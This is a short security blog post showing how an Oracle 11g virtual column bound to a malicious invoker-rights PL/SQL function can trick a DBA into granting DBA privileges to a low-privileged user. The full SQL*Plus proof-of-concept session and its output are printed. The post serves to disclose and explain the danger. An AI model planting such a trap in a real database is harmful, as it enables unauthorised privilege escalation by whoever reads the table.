Unintended Results

Dangers of Oracle Virtual Columns

Virtual Columns is a new feature of Oracle 11g. This feature allows to create table columns based on PL/SQL functions. While it’s useful it can be dangerous too.

What happens if someone creates a table column based on a “malicious” PL/SQL function? What happens when someone selects data from a table with a virtual column that executes a GRANT command? If the user executing the query is a normal user, the function will fail, however, if the user is privileged, the code will be executed and the DBA privilege will be granted to the user “JOXEAN”, like in the following sample:

SQL> create user joxean identified by joxean;
User created.

SQL> grant connect, resource to joxean;
Grant succeeded.

SQL> conn joxean/joxean
Connected.
SQL> CREATE OR REPLACE FUNCTION F1 (p_value IN VARCHAR2)
  RETURN VARCHAR2 AUTHID CURRENT_USER deterministic
AS
  PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
  EXECUTE IMMEDIATE 'grant dba to joxean';
  RETURN '1';
END F1;
/
Function created.

SQL> CREATE TABLE t2
(
  col1 VARCHAR2(50),
  col2 generated always AS (f1('asdf')) virtual
);
Table created.

SQL> select * from t2;
no rows selected

SQL> insert into t2 (col1) values ( 'a' );
1 row created.

SQL> commit;
Commit complete.

SQL> select * from t2;
select * from t2
*
ERROR at line 1:
ORA-01031: insufficient privileges
ORA-06512: at "JOXEAN.F1", line 6

SQL> select * from user_role_privs;

USERNAME		       GRANTED_ROLE		      ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
JOXEAN			       CONNECT			      NO  YES NO
JOXEAN			       RESOURCE 		      NO  YES NO

SQL> conn / as sysdba
Connected.
SQL> select * from joxean.t2;

COL1   COL2
----- -----
a         1

SQL> select * from dba_role_privs where grantee = 'JOXEAN';

GRANTEE 		       GRANTED_ROLE		      ADM DEF
------------------------------ ------------------------------ --- ---
JOXEAN			       RESOURCE 		      NO  YES
JOXEAN			       DBA			      NO  YES
JOXEAN			       CONNECT			      NO  YES

While it isn’t a big issue it can be used as a “logical bomb” by an atacker with CREATE TABLE privileges: Simply create a table with an interesting name and wait for DBA to select data from this table Oh! By the way, to create a permanent table you only need to have the privilege to create a temporary table… But this is another history